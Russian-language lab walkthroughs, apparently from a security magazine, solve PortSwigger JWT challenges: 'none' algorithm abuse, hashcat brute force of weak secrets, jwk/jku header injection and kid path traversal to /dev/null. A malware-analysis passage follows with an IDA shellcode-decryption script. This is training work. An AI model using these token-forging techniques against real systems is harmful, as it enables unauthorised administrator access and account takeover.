НАЧАЛО СТАТЬИ←

АЛГОРИТМ ПОДПИСИ NONE

Представим, что на этот раз сервер корректно проверяет подпись. Это зна‐
чит, что если мы изменим тело, то старая подпись станет невалидной и сер‐
вер не примет токен.

Еще раз взглянем на заголовок из первой лабораторной работы.

{
   "kid": "a2b8c974-3de8-4bf1-8abc-b8753873b25c",
   "alg": "RS256"
}

Параметр  указывает, какой алгоритм необходимо использовать серверу
при  проверке подписи. В  данном случае это  RS256, но  какие алгоритмы
еще существуют?

alg

Помимо RS256, есть множество вариантов: HS256 (384/512), ES256
(384/512) и none. Последний особенно примечателен, поскольку говорит сер‐
веру, что подписи быть не должно и данные считаются валидными «как есть».

{
   "kid": "a2b8c974-3de8-4bf1-8abc-b8753873b25c",
   "alg": "none"
}

Разработчики могут использовать  при  тестировании, чтобы проверять

собственный сервис от  имени разных пользователей. Менеджер, админис‐
тратор, консультант и так далее — у каждой из ролей должны быть доступны
собственные возможности, и  JWT без  подписи удобно использовать, чтобы
проверять их во время разработки.

none

Но если и в production-среде сервер безоговорочно доверяет указанному
пользователем значению , которое хакер может изменить на  ,

это значит, что его очень и очень просто скомпрометировать.

alg none

INFO

Даже если подпись не используется, Payload дол‐
жен заканчиваться точкой.

Лаба: JWT authentication bypass via flawed signature verification
• Лабораторная работа на сайте PortSwigger

Откроем лабораторию.

Главная страница блога

Аутентифицируемся от имени выданной учетки wiener.

Личный кабинет пользователя wiener

Найдем запрос на открытие личного кабинета и отправим его в Repeater.

Выделяем запрос в History и отправляем в Repeater

Сделаем то же, что делали в прошлой лаборатории:
уберем из запроса ;• ?id=wiener

выделим полезную нагрузку и исправим wiener на administrator в теле.•

Как должен выглядеть JWT-токен после редактирования

Отправим запрос и  увидим, что теперь подпись проверяется успешно.
Об этом говорит редирект обратно на страницу входа.

Сервер не принял наш токен, поскольку подпись невалидна

Выделим заголовок. В нем указан алгоритм HS256.

Алгоритм HS256 в заголовке токена

Сейчас сервер смотрит на наш JWT-токен, сам вычисляет для него подпись
и сравнивает с той, что мы отправили. Подписи совпадать не будут, поскольку
мы изменили содержимое.

Давай скажем серверу, что он не  должен вычислять подпись. Для  этого
выделим заголовок, вместо RS256 напишем  и применим изменения.none

HS256 нужно заменить none

Не забудь удалить подпись  — это  блок данных после последней точки.
И вновь отправим запрос. Если ты все сделал правильно, должна появиться
ссылка на панель админа.

Ссылка на панель администратора

Заменим получившийся токен в браузере и откроем личный кабинет.

Личный кабинет администратора

Сработало! Заходим в админскую панель и удаляем пользователя carlos.

Поздравление с успешным прохождением лаборатории

Мы успешно прошли вторую лабораторию.

Продолжение статьи
→

https://portswigger.net/web-security/jwt/lab-jwt-authentication-bypass-via-flawed-signature-verification
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TOKENS И АТАКАМИ НА НИХ
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НАЧАЛО СТАТЬИ←

БРУТФОРС СЕКРЕТОВ

Представим, что разработчики наконец‑то научились правильно проверять
подпись и перестали доверять пользовательскому вводу.

Как ты понимаешь, приставка в  используемом алгоритме подписи озна‐
чает, что используется HMAC (алгоритм аутентификации сообщений) с  при‐
менением хеш‑функции SHA-256.

Как вычисляется HMAC-SHA256  — не  секрет. Выглядит это  следующим
образом:

HMAC_SHA256(key, message) = SHA256((key ⊕ opad) ∥ SHA256((key ⊕ 
ipad) ∥ message))


Здесь
 — секретный ключ, возможно дополненный или сокращенный до нуж‐

ной длины;
• key

 — сообщение для аутентификации;• message

 и   — константы , определенные стандартом HMAC;• opad ipad padding

 — побитовый XOR;• ⊕
 — операция конкатенации.• ∥

Зная ключ, мы сможем генерировать собственную подпись этим же алгорит‐
мом. Чтобы его найти и  научиться подписывать произвольные данные, мы
должны взять исходный заголовок и пейлоад и начать применять к ним фун‐
кцию HS256 с разными ключами, пока не получим такую же подпись, которую
отдал нам изначально сервер.

INFO

Очень важно выбирать надежный ключ, чтобы
злоумышленник не мог его сбрутить (перебрать)
и  начать подписывать им собственные токены.
Очень часто разработчики не  задумываются
об этом и используют очень простые комбинации
или  ключи по  умолчанию, которые всем извес‐
тны.

Если строки будут идентичны, это будет значить, что мы подобрали ключ шиф‐
рования.

Лаба: JWT authentication bypass via weak signing key
• Лабораторная работа на сайте PortSwigger

Итак, вся безопасность JWT с алгоритмом HS256 держится на том, насколько
надежный был выбран симметричный ключ. Давай для начала добудем JWT-
токен, чтобы иметь возможность его подобрать.

Откроем лабораторию.

Главная страница блога

Зайдем в личный кабинет под тестовым аккаунтом и получим JWT-токен. Если
открыть вкладку JSON Web Token, можно убедиться, что используется алго‐
ритм с симметричным ключом.

JSON Web Token показывает декодированное содержимое JWT-токена

Скопируем весь токен. Теперь нам нужно подобрать ключ, для  этого мы
будем использовать инструмент под названием hashcat. Эта утилита позволя‐
ет восстанавливать пароли из хешей с помощью различных атак: по словарю,
по маске, на основе правил и так далее.

Нам нужен первый вариант, то есть атака по словарю. В качестве словаря
будем использовать . Это набор стандартных секретов, которые
используются по умолчанию в разных библиотеках.

jwt.secrets.list

Утилита hashcat поможет взять все известные ключи из  этого списка
и определить, какой из них использовался для подписи нашего JWT-токена,
последовательно подписывая данные до тех пор, пока мы не получим такую
же подпись, какую нам выдал сервер.

Скопируем JWT-токен и подставим его в команду:

 0 hashcat -a -m 16500 <jwt> <wordlist>


Разберем ее по порядку:
 — флаг, который означает, что мы будем использовать атаку по сло‐

варю;
• -a 0

  — указывает, что тип хеша, который будет взламываться,  —
это JSON Web Token (JWT). Код 16500 соответствует HMAC-SHA256 JSON
Web Token;

• -m 16500

 — это наш JWT;• <jwt>

 — путь к словарю, который мы только что скачали.• <wordlist>

Результат выполнения — на скриншоте ниже.

Результат выполнения hashcat

Спустя две секунды hashcat закончил свою работу. Видим вот такую строку:

Recovered........: 1/1 (100.00%) Digests (total), 1/1 (100.00%) 
Digests (new)


Она означает, что ключ успешно подобран из  словаря. А  напротив нашего
JWT-токена через двоеточие можно увидеть и сам ключ.

eyJraWQiOiI5YWUwMTFkMi1mNTdkLTQ5ZTYtYWMyYS0xM2FlNmU0MWYzYzciLCJhbGciO
iJIUzI1NiJ9.
eyJpc3MiOiJwb3J0c3dpZ2dlciIsImV4cCI6MTcyMDc3MTM5Niwic3ViIjoid2llbmVyI
n0.
Zt_AWlB6_9nOdJA8JIEAUTYEukICAqTj8WTP-vyt9go:secret1


Это . Теперь мы можем подписывать данные тем же ключом, что
и сервер.

secret1

Вернемся в Burp и сменим логин на  .administrator

Логин wiener нужно сменить на administrator в теле токена JWT

Теперь наш JWT нужно подписать. Перейдем на вкладку JWT Editor, нажмем
на  кнопку New Symmetric Key, затем Generate. Появившийся параметр   —
это случайный ключ, который сгенерировало нам расширение. Нам же нужен
наш собственный, заменим его . Должно получиться, как  на скрин‐

шоте (за исключением параметра ).

k

secret1
kid

Создание симметричного секрета с секретом, который мы набрутили

Сохраняем.

Вкладка JWT Editor после сохранения секрета

Теперь мы можем использовать этот ключ, чтобы подписывать JWT как сер‐
вер. Для этого возвращаемся в Repeater. Нажимаем кнопку Sign, оставляем
все как есть и нажимаем OK.

Процесс подписания JWT-токена

Как бы я ни пытался отправлять запрос после этого, у меня ничего не получи‐
лось. Расширение давно не  обновлялось, либо оно плохо работает
в Windows.

Поэтому мы научимся подписывать токены вручную, ведь мы знаем алго‐
ритм. Переходим в Bash на Linux и выполняем следующий однострочник:

  
   | s/   s/ + /


echo -n <HEADER.PAYLOAD> | openssl dgst -sha256 -hmac secret1 -binary
| openssl base64 -e -A sed \+/-/ | sed -E = $/

Вместо  вставляем наш JWT-токен. Тот, где мы сменили

 на  .

<HEADER.PAYLOAD>
wiener administrator

В результате в консоли выводится готовая подпись.

Подписание токена JWT из консоли

Вставляем ее на место невалидной и отправляем запрос.

Ссылка на панель администратора

Доступ к админской панели открыт!
Заходим в браузер, меняем старый токен на новый и удаляем пользовате‐

ля carlos.

Поздравление с успешным прохождением лаборатории

Мы успешно прошли третью лабораторию.

Продолжение статьи
→

https://portswigger.net/web-security/jwt/lab-jwt-authentication-bypass-via-weak-signing-key
https://github.com/wallarm/jwt-secrets/blob/master/jwt.secrets.list
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ИНЪЕКЦИИ В ПАРАМЕТРЫ ЗАГОЛОВКА

Предыдущие уязвимости были связаны с симметричными алгоритмами шиф‐
рования, когда есть один‑единственный приватный ключ. Теперь мы перехо‐
дим к разделу с асимметричным шифрованием в JWT-токенах, когда исполь‐
зуются приватный и публичный ключи.

Сервер подписывает своим приватным ключом (который он никому
не передает) токены, а мы расшифровываем их с помощью публичного ключа
и убеждаемся в том, что они были подписаны подлинным сервером.

Схематичное изображение асимметричного шифрования

Согласно спецификации JWS, в  заголовке существует только один обя‐
зательный параметр  — это  параметр , означающий используемый алго‐

ритм подписи, с  которым мы уже сталкивались ранее. Однако на  практике,
когда ты будешь пентестить реальное веб‑приложение, их окажется куда
больше.

alg

Например, есть проблема: откуда пользователь или  другое приложение,
которое будет использовать токен, возьмет публичный ключ, чтобы самому
убедиться в  том, что JWT-токен подписал сервер, а  не кто‑то другой? Есть
два варианта:
1. Приложение отдает в ответе параметр  (идентификатор ключа Key ID),

по  которому мы можем отправить запрос в  реестр этого же приложения
и получить публичный ключ. Требует выдать доступ ко внутреннему реес‐
тру, а это создает дополнительные риски.

kid

2. Приложение отдает JWK — параметр, в который сразу записан публичный
ключ. На первый взгляд, удобнее и проще реализовать, но тут тоже можно
допустить ошибку.

Заголовки JWT-токенов (которые также известны как JOSE-заголовки) часто
содержат ряд других параметров. Вот какие параметры обычно могут быть
нам интересны:

 (JSON Web Key) — это структура данных в формате JSON, в которую
записывается публичный ключ. Параметры этой структуры представляют
основные свойства ключа, в том числе его значение;

• jwk

 (JSON Web Key Set URL) — если публичных ключей несколько, в этом
параметре можно указать URL, по  которому будет подгружаться JSON-
объект с публичными ключами;

• jku

 (Key ID) — уникальный идентификатор ключа, который серверы могут
использовать для  определения того ключа, который им необходимо
использовать, если их несколько.

• kid

Эти параметры присылает сам сервер. Но  если сервер безоговорочно
доверяет пользователю и  не использует механизм белых списков, то
это может привести к тому, что злоумышленник сможет отправить собствен‐
ный публичный ключ, который он сгенерирует сам. Это  позволит ему под‐
писать произвольные данные, а  сервер действительно убедится в  его под‐
линности с помощью публичного ключа, присланного злоумышленником.

Все три уязвимости, которые можно допустить с  каждым из  параметров
и о которых мы будем говорить ниже, связаны с доверием к пользовательско‐
му вводу.

ИНЪЕКЦИЯ ЧЕРЕЗ ПАРАМЕТР JWK

Итак, предположим, сервер прислал нам параметр . Он также может

не  присылать его, но  по‑прежнему поддерживать  — с  этим мы столкнемся
дальше.

jwk

Вот пример заголовка JWT-токена с параметрами :jwk

{
   : ,
"kid" "ed2Nf8sb-sD6ng0-scs5390g-fFD8sfxG"
   : ,
"typ" "JWT"
   : ,
"alg" "RS256"
   : "jwk" {

: ,
       "kty" "RSA"
: ,
       "e" "AQAB"

: ,
       "kid" "ed2Nf8sb-sD6ng0-scs5390g-fFD8sfxG"
:        "n" "yy1wpYmffgXBxhAUJzHHocCuJolwDqql75ZWuCQ_cb33K2vh9m"

   }
}

C  и   мы уже знакомы, вот что означают остальные параметры:kid alg
 — определяет тип ключа (key type). В данном случае  указывает,

что ключ является ключом RSA;
• kty RSA

 — экспонента ключа (exponent). Значение  — открытая экспонента
RSA;

• e AQAB

 — модуль ключа (modulus). Это длинное значение представляет модуль
RSA, который используется в расчетах шифрования и дешифрования.

• n

В идеале серверы для проверки подписей JWT-токенов должны использовать
только те ключи, которые у  них есть в  белом списке. Однако неправильно
настроенные серверы иногда будут использовать любой ключ, встроенный
в параметр .jwk

Атакующий может злоупотребить этим поведением, подписав модифи‐
цированный JWT с  помощью собственного закрытого ключа RSA, а  затем
вставить соответствующий открытый ключ в заголовок .jwk

Лаба: JWT authentication bypass via jwk header injection
• Лабораторная работа на сайте PortSwigger

Начинаем прохождение. Нас снова приветствует привычный блог.

Главная страница блога

Заходим в аккаунт под тестовой учеткой и смотрим на токен. Первое, что бро‐
сается в глаза, — это новый алгоритм. Если во всех предыдущих заданиях нас
встречал HS256, то на этот раз это RS256.

Новый алгоритм RS256 — он предполагает использование асимметрич‐
ного шифрования

Сервер использует асимметричную криптографию и  подписывает данные
приватным ключом, который лежит у него на сервере. Давай проверим, уяз‐
вим ли он к атаке с внедрением собственного публичного ключа.

Переходим в JWT Editor, нажимаем New RSA Key и генерируем собствен‐
ный ключ.

Процесс создания ключа RSA на вкладке JWT Editor

Нажимаем OK. Теперь возвращаемся в  Proxy → History, выбираем запрос
в личный кабинет и отправляем его в Repeater. Выделяем полезную нагрузку
в ключе JWT и заменяем пользователя wiener пользователем administrator.

В теле токена JWT нужно сменить wiener на administrator

Данные заменили, теперь дело за  подписью. Открываем JSON Web Token,
нажимаем Attack. Выбираем Embedded JWT и выбираем наш только что соз‐
данный RSA-ключ. Нажимаем ОK.

Процесс подписания JWT-токена асимметричным ключом

Как можно заметить на  картинке ниже, расширение помогло вставить
в Header новый параметр  с нашим собственным публичным ключом. Дан‐

ные тоже подписались  — нашим приватным ключом, который связан с  пуб‐
личным. Отправляем запрос и видим заветную надпись Admin panel.

jwk

Ссылка на панель администратора

Копируем токен, вставляем его в  браузер, переходим в  админку и  удаляем
Карлоса.

Уведомление об успешном прохождении лаборатории

Лаборатория успешно пройдена!

Продолжение статьи
→

https://portswigger.net/web-security/jwt/lab-jwt-authentication-bypass-via-jwk-header-injection
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ИНЪЕКЦИЯ ЧЕРЕЗ ПАРАМЕТР JKU

Эта атака похожа на предыдущую, только вместо того, чтобы напрямую внед‐
рять открытый ключ прямо в  заголовок, мы помещаем его на  собственный
сайт, а в заголовке оставляем только ссылку на него.

INFO

jku (JWK Set URL)  — это  URL, по  которому мы
просим уязвимый сервер загрузить наши пуб‐
личные ключи и  использовать их для  проверки
подписи.

На самом сервере должны лежать ключи в  формате JWK Set. Это  объект
JSON, состоящий из одного параметра . В этом параметре может быть

записано много публичных ключей в формате обычного .

keys
jwk

Вот пример:

{
   "keys": [
       {
           "kty": "RSA",
           "e": "AQAB",
           "kid": "75d0ef47-af89-47a9-9061-7c02a610d5ab",
           "n": 
"o-
yy1wpYmffgXBxhAUJzHHocCuJolwDqql75ZWuCQ_cb33K2vh9mk6GPM9gNN4Y_qTVX67W
hsN3JvaFYw-fhvsWQ"
       },
       {
           "kty": "RSA",
           "e": "AQAB",
           "kid": "d8fDFo-fS9-faS14a9-ASf99sa-7c1Ad5abA",
           "n": 
"fc3f-
yy1wpYmffgXBxhAUJzHql79gNNQ_cb33HocCuJolwDqmk6GPM4Y_qTVX67WhsN3JvaFYw
-dfg6DH-asAScw"
       }
   ]
}

Здесь указано два публичных ключа, но может быть гораздо больше. Нам хва‐
тит и одного.

Для таких ключей также есть общепринятый путь: 

.

/.well-known/jwks.
json

INFO

Если сервер и поддерживает формат jku, на него
тоже должны распространяться белые списки.
Помимо внедрения публичных ключей злоумыш‐
ленника, здесь также возможны атаки типа SSRF.

Лаба: JWT authentication bypass via jku header injection
• Лабораторная работа на сайте PortSwigger

Для этого задания нам предоставили Exploit Server, на  котором мы сможем
разместить ключи. Давай заранее изменим  с   на 

. Ключей у  нас пока нет, поэтому перейдем в  Burp Suite,

а сюда вернемся позже.

file /exploit /.well-
known/jwks.json

Exploit Server с настроенным путем к файлу

По уже отработанному алгоритму войдем в  аккаунт, перейдем к  запросу
и сменим wiener на administrator в теле JWT-токена.

Токен JWT с логином администратора

К сожалению, в JWT Editor не автоматизирована эта атака, так что займемся
ею вручную. Для этого в заголовок добавим ключ  и укажем ссылку на наш

Exploit Server.

jwk

В заголовке JWT-токена нужно указать параметр jwk

У меня получился следующий заголовок:

{
   "kid": "54ab4e74-d36c-4d67-850f-2dbfd8009e58",
   "alg": "RS256",
   "jwk": "https://exploit-0ac500c503396ee5810229a401520050.
exploit-server.net/.well-known/jwks.json"
}

Подпишем его. Для этого нажмем Sign, выберем последний пункт с обновле‐
нием заголовка и  нажмем ОK. Ключ RSA у  меня остается из  прошлого
задания. Ты можешь сгенерировать новый на вкладке JWK Editor, если у тебя
его не оказалось.

Процесс подписания токена

Теперь нужно разместить ключи на сервере. Для этого перейдем в JWT Editor
и дважды щелкнем на нашем единственном ключе.

Нужно извлечь атрибуты, необходимые для jwk

Здесь много атрибутов, скопируем все поле и  обернем в  формат JWK Set.
Вставим между квадратными скобками скопированное значение.

{
   "keys": []
}

Вот что у меня получилось:

{
   "keys": [
       {
           "p": 
"3IRsQoVyh0-7hPpptHQ36Tge4cpOwwDxA8iZjXQpOBBQqTf5WpVFJc28UpipC5RoAZ-
DDYUJMZRhqpRA1nG8So8CVJEJTGeu1iO3gC21iaK7okzEUWGspLOxgBPit5KtpnqaQtze
NmRPZeMLDaJ7rBf6RydUg-No4nFH_KYYRAM"
,
           "kty": "RSA",
           "q": 
"vS_wzSWysTQGVkxvMev8jIf_RtFW-
B5JMyPpkHov0u9fAnGSqkJTqDe2dcgK5jdlArzf6EdbJzqkRZFlLC4i7_LP7Wg71KvWkF
7eE2oC7X8F1nD9bbtI-Xeuz3gOtH8rcJdbYdg43eXoCVmR6-
WQ95j32sFe7i8eIt0n__4kvK8"
,
           "d": 
"R74TV7cS9c_SA5x4p13bdJx1-7p45yoxMlF8iCIUfLyZX4hqdVGPWygW11P-
p8g0YyXKvLfGUcSRWeHVLQZEYSUT3u8Op734Ycg1f8nn00GZj3ajqK-
y1auCbaiZSyjScl7oKTCzL-xcU--drR4KhSA9PQRdAduxCWqc816L-
lRmpSuBnZ6c9vSETFkU9GQbkTJNorwKuO8pDe5lOnrt8ULilKfoZ-
6BcyMWptsFNXR05afpjtXsNgsl2a136KRLSC2JNyseROipi1f4jK-
LoEumTO_0MuvJ7t_f94Xy3LFsn-SL4yS7G99hW8K9GqmcUddibbqcQTqNQ2rDCWIcAw"
,
           "e": "AQAB",
           "kid": "45a3ae3f-c28f-42db-80f5-deb3256dd93f",
           "qi": 
"i91AYPzed-J6FojbvsugxbMOH5RBJIQ-4sV1MyqGhiiPByCcRU-
bTzWqEl_bJmq_rKefh-yeHvBhmWG7xCj1Zl_MCEUqMvy-
B2AYhGXNDlFYQK7fTMyD4ifLEbbpc05Yz8iEVwECuUOHrKPhbTmvCwOgvrqucOS8qg0kd
O5g-7E"
,
           "dp": 
"WCrOCi7G4tj7NajVeKP68tFQb6Buq0MGGigrVMY78MF9LptFpHUIJ5xBjpihBhM5HmUD
hfVJ_ru_7O7HmbXxvbG-EcfHevf9jHrNVH9yFOyurq6Y050E5Pk_n-DThegsa-
KbKN6cLg0fPbJwaewsHFud4rMT9IOJHPiD-r0B-Lc"
,
           "dq": 
"LyPk8pk0H2eBNLuy8VOGCFZSy4iaDRUu1Clcp31qsTqoB-
nYy8ffJIlNU6fW32pqJvZ9LFmrYuj_yb3i4dFVL0jnepaAYgu3WR3qZBgERr1h7P8WhuM
l2dNyoYuezmbpohJ02LqR4OjKmpnQ_GClcKyTBdUtHFhtP-6vauAes00"
,
           "n": 
"ovcPqdi-
LKozZXjExEaZ3wk2BmtTJnqMa4wODS6OzQDJRtzOGabuAeccdH4RWENdkJC3zODQ640WJ
85WlOk2lgd0Fx0T4xjk9Q90cfErdQIEWSz3Ensymgej-
riF379iFqoyulmYIQoD830Q9VqzhT1Whw2AIgHzfXByVm16eknqUi4xJumrk4G3OXYUTW
UI8p4SFGkpzuvLb9iESOFzoZKuVVwPjzJZ8zpbeEMmtu7W9Wi1E4tpKnHz7y4I0Z_0T_i
XuFBIM7vnDboKDacahvNZBoAHmsde0CWDIi0GkWsBXpsxvKRjiSli2e2kgl9fDtVFWnCt
C6UJwGKQ5vSyDQ"
       }
   ]
}

Уберем отсюда следующие параметры:
 — один из двух простых множителей модуля;• p

 — второй простой множитель модуля;• q

 — правильная экспонента;• d

 — коэффициент обратного преобразования;• qi

 — приватная экспонента для простого множителя ;• dp p

 — приватная экспонента для простого множителя .• dq q

Они должны быть строго конфиденциальными и  никогда не  должны пуб‐
ликоваться, иначе кто угодно сможет заполучить наш приватный ключ.

Итоговый результат:

{
   "keys": [
       {
           "kty": "RSA",
           "e": "AQAB",
           "kid": "45a3ae3f-c28f-42db-80f5-deb3256dd93f",
           "n": 
"ovcPqdi-
LKozZXjExEaZ3wk2BmtTJnqMa4wODS6OzQDJRtzOGabuAeccdH4RWENdkJC3zODQ640WJ
85WlOk2lgd0Fx0T4xjk9Q90cfErdQIEWSz3Ensymgej-
riF379iFqoyulmYIQoD830Q9VqzhT1Whw2AIgHzfXByVm16eknqUi4xJumrk4G3OXYUTW
UI8p4SFGkpzuvLb9iESOFzoZKuVVwPjzJZ8zpbeEMmtu7W9Wi1E4tpKnHz7y4I0Z_0T_i
XuFBIM7vnDboKDacahvNZBoAHmsde0CWDIi0GkWsBXpsxvKRjiSli2e2kgl9fDtVFWnCt
C6UJwGKQ5vSyDQ"
       }
   ]
}

Поместим его на  наш сервер. Вставим в  поле , а  в  сменим

 с   на  , посколь‐

ку ответ мы отдаем в формате JSON.

Body Head
Content-Type text/html; charset=utf-8 application/json

Страница Exploit Server с нашими публичными ключами

Не забудь нажать Store, чтобы сохранить изменения.
Вернемся в Burp и отправим подписанный ранее запрос.

Ссылка на панель администратора

Появилась ссылка на  Admin panel, а  это значит, что мы стали администра‐
тором. Возвращаемся в личный кабинет и удаляем Карлоса.

Уведомление об успешном прохождении лаборатории

Лаборатория успешно пройдена!

Продолжение статьи
→

https://portswigger.net/web-security/jwt/lab-jwt-authentication-bypass-via-jku-header-injection
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ИНЪЕКЦИЯ ЧЕРЕЗ ПАРАМЕТР KID

Серверы могут использовать для  подписи разных типов данных несколько
криптографических ключей, помимо JWT. Именно поэтому в  заголовке JWT-
токенов должен быть обязательный параметр , который помогает серверу

определить, какой ключ следует использовать при проверке подписи.

kid

Ключи на самом сервере хранятся в формате JWK Set. Спецификация JWS
не  говорит о  том, как  их правильно хранить  — в  файле на  диске или  в базе
данных. Помимо этого, сам идентификатор  тоже никак не  регламен‐
тирован, это  может быть любая произвольная строка, которая придется
по вкусу разработчику.

kid

Если неправильно работать с  этой строкой, то, как  и при  любой работе
с  базой данных, может возникнуть уязвимость SQL injection, благодаря
которой злоумышленник сможет извлечь содержимое базы. Если же ключи
хранятся на диске, это может привести к обходу каталогов и уязвимости path
traversal с чтением произвольных файлов на диске сервера.

{
   "kid": "../../path/to/file",
   "typ": "JWT",
   "alg": "HS256",
   "k": "asGsADas3421-dfh9DGN-AFDFDbasfd8-anfjkvc"
}

Если сервер уязвим к  path traversal, то можно в  качестве  указать путь

к пустому файлу . В качестве подписи будет взято его содержимое,

а  поскольку в  этом файле ничего нет, то и  для генерации подписи потребу‐
ется только пустая строка вместо полноценного ключа. Этим может восполь‐
зоваться злоумышленник или мы — в новой лаборатории.

kid
/dev/null

Лаба: JWT authentication bypass via kid header path traversal
• Лабораторная работа на сайте PortSwigger

Открываем лабораторию, аутентифицируемся от  имени тестового поль‐
зователя и  отправляем запрос на  открытие личного кабинета в  Repeater.
Выделяем заголовок и  пробуем эксплуатировать path traversal. Для  этого
выходим из  директории, в  которой находится приложение, к  самому корню
и указываем путь к  . Сохраняем изменения./dev/null

Path traversal через параметр kid

Теперь нам нужно подписать токен. Наше расширение JWT Editor не позволя‐
ет подписывать JWT с  помощью пустой строки. Однако из‑за ошибки
это можно обойти, используя нулевой байт в кодировке Base64.

Перейдем на  вкладку JWT Editor, выберем New Symmetric Key, в  появив‐
шемся окне нажмем Generate и заменим содержимое переменной  нулевым

байтом в Base64. Это будет . Сохраним результат.

k
AA==

INFO

Параметр  на  вкладке JWT Editor обозначает
симметричный ключ, закодированный в  Base64,
который будет использован для подписи.

k

Нулевой байт в Base64 в качестве подписи

Вернемся в Repeater и перейдем на JSON Web Token:
изменим  на  ;• kid ../../../../../../../../../dev/null

сменим  на  .• wiener administrator

И подпишем результат только что созданным ключом, «пустотой»
или нулевым байтом.

Процесс подписания токена JWT

Отправим запрос.

Ссылка на панель администратора

Результат показывает, что мы стали администратором. Записываем токен
в куку браузера и удаляем пользователя carlos.

Уведомление об успешном прохождении лаборатории

Мы прошли последнюю простую лабораторию!
Остались только экспертные.

Продолжение статьи
→

https://portswigger.net/web-security/jwt/lab-jwt-authentication-bypass-via-kid-header-path-traversal
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ВЗЛОМ

В этой статье я покажу, как с помощью ути‐
литы INetSim эмулировать взаимодействие
малвари с  управляющим сервером. Также
рассмотрим работу загрузчика, распакуем
основную нагрузку вредоноса и исследуем
схему работы стилера.

Мы будем разбирать задание  с  площадки Cyber
Defenders. Уровень задания  — сложный. В  лабораторной работе тебе пот‐
ребуется ответить на  ряд вопросов по  итогам прохождения, однако при‐
водить ответы мы не будем — если ты повторишь прохождение, то без труда
ответишь на всё сам.

UnPackMe Blue Team Lab

WARNING

Анализ вредоносных файлов необходимо про‐
водить в  изолированной среде. О  том, как  соб‐
рать лабораторию для анализа вредоносов, под‐
робно рассказано в  статье «

».

Код под  надзором.
Создаем виртуальную лабораторию для  анализа
малвари

ИСПОЛЬЗУЕМЫЕ УТИЛИТЫ

1.  — программа для определения типов файлов.DIE
2.  — программа для поиска артефактов исполняемых файлов.PeStudio
3.  — интерактивный дизассемблер, используемый для реверс‑инжи‐

ниринга.
IDA Pro

4.  — инструмент для анализа сетевого трафика.Wireshark
5.   — платформа, которая используется в  качестве прозрачного

прокси‑сервера для  анализа взаимодействия вредоносного файла
по протоколу HTTPS.

Burp Suite

6.  — опенсорсный отладчик для Windows, предназначенный для ана‐
лиза вредоносных программ.
x64dbg

7.  — эмулятор работы с интернетом.INetSim

ПЕРВИЧНЫЙ АНАЛИЗ

Получим первичную информацию об  исследуемом образце. Загрузим файл
в DIE и выберем анализатор Nauz File Detector.

Информация о файле

Исследуемый образец собран для 32-разрядных систем, разработан на язы‐
ке C/C++ и  скомпилирован в  Microsoft Visual Studio. Получим энтропию
исполняемого файла по секциям. Перейдем на вкладку Entropy и определим
его показатель.

Энтропия исполняемого файла

Энтропия исследуемого файла  — 7,389, в  секции   — самое высокое
значение. Значит, исследуемый файл упакован.

.text

ИССЛЕДУЕМ ЗАГРУЗЧИК

Загрузим файл в  IDA и  приступим к  анализу. Точка входа указывает на  фун‐
кцию , а  основной поток выполнения реализован в  функции

.

WinMain
sub_468480

Псевдокод функции WinMain

Перейдем в данную функцию двойным нажатием и декомпилируем, нажав F5.

В функции  реализовано получение адреса 

и  выделение в  куче памяти, равной длине шелл‑кода. Далее в  функции
 выделенному участку памяти назначаются права

на выполнение, чтение и запись ( ) с помощью фун‐

кции . Следующим этапом начинается процесс расшифровки
шелл‑кода.

WrapGlobalAlloc GlobalAlloc

WrapVirtualProtect
PAGE_EXECUTE_READWRITE

VirtualProtect

Шифрование состоит из преобразования ключа и операции XOR.

Функция преобразования ключа

Функция расшифровки шелл‑кода

Начальное значение ключа — . Для  расшифровки шелл‑кода мы
разработаем скрипт для  IDA, на  вход которого передадим адрес зашиф‐
рованного шелл‑кода, его размер, начальное значение ключа и  имя файла
для сохранения данных.

0xD5AF2F45

 import struct
 import idaapi

      HIWORD = lambda x: x >> 16

 def GenerateKey(key):
         key = (key * 0x343fd) & 0xffffffff
         key = (key + 0x269ec3) & 0xffffffff
    return key

 def DecryptShellcode(data,key):
     result = bytearray()
      for i in data:

         key = GenerateKey(key)
            k = HIWORD(key) & 0xFF

         result.append(i ^ k)
    return result

 def main(start,size,key,filename):
     w = open(filename,'wb')
     b = bytearray()
      for i in range(size):

           x = idaapi.get_byte(start + i)
       b.append(x)
     d = DecryptStage(b,key)
   w.write(d)
   w.close()

Расшифровывать будем в режиме отладки. Поставим точку останова на фун‐
кции  (горячая клавиша F2) и  запустим отладку (F9).

Двойным нажатием на переменную  получим адрес исполняемого
кода, а его размер узнаем из переменной .

WrapDecryptShellcode
shellcode

size_shellcode
Загрузим разработанный скрипт, для этого зайдем на вкладку File → Script

File. В командной строке Python вызовем функцию .main

main(start=0x7B96E8,size=0x4e9d3,key=0xD5AF2F45,filename='stage01')


Мы получили значение расшифрованного исполняемого кода. Загрузим его
в IDA и проведем статический анализ. Полученный шелл‑код состоит из фун‐
кций получения адресов используемых WinAPI и расшифровки основной наг‐
рузки.

Функция получения адресов Windows API

Преобразуем декомпилируемый код в  читаемый вид. Для  этого выберем
переменную , кликнем правой кнопкой мыши и выберем пункт Create Struct.
IDA сформирует структуру. Далее переименовываем каждое значение поля
(горячая клавиша N).

a1

Для получения функций WinAPI  и   из  биб‐
лиотеки  используется хеширование. Из  поля

 структуры PEB процесса считываются имена

динамических библиотек. Из  каждого имени вычисляется значение хеша
и  сравнивается со  значением . Такая же процедура производится

с именами функций экспорта найденной динамической библиотеки.

LoadLibraryA GetProcAddress
kernel32.dll

InMemoryOrderModuleList

0xd4e88

Алгоритм хеширования представлен ниже.

 def ApiHashing(name_func,hashing):
     res = 0
      for i in name_func:

             v5 = (ord(i) | 0x60) & 0xff
             res = (res + v5) * 2

      if res == hashing:
        return True

    return False

Значение  соответствует .0xd4e88 kernel32.dll

Функция расшифровки основной нагрузки

Процесс получения основной нагрузки состоит из  этапов расшифровки
и разархивирования.

Процесс расшифровки и разархивирования

Алгоритм расшифровки тот же, а  вот алгоритм декомпрессии сильно
обфусцирован и содержит множество переходов ( ). Распакуем нашу наг‐

рузку. Для  этого в  режиме отладки переходим к  выполнению шелл‑кода
и  находим функцию . Далее спускаемся к  выпол‐

нению функции , переходим на вкладку Hex View (клавиша G) и вводим

адрес, который хранится в переменной . Размер получаем из  значения
переменной .

goto

DecryptUnpackShellcode
Unpack

data
unpack_size

Дампим полученный после разархивирования шелл‑код с  помощью IDA
API. Для этого переходим в командную оболочку Python и вводим следующую
команду:

   idc.savefile('path_filename', 0, address_shellcode, unpack_size)

Мы получили основную нагрузку, она представляет собой шелл‑код, задача
которого — загрузить методом Process Hollowing исполняемый файл и начать
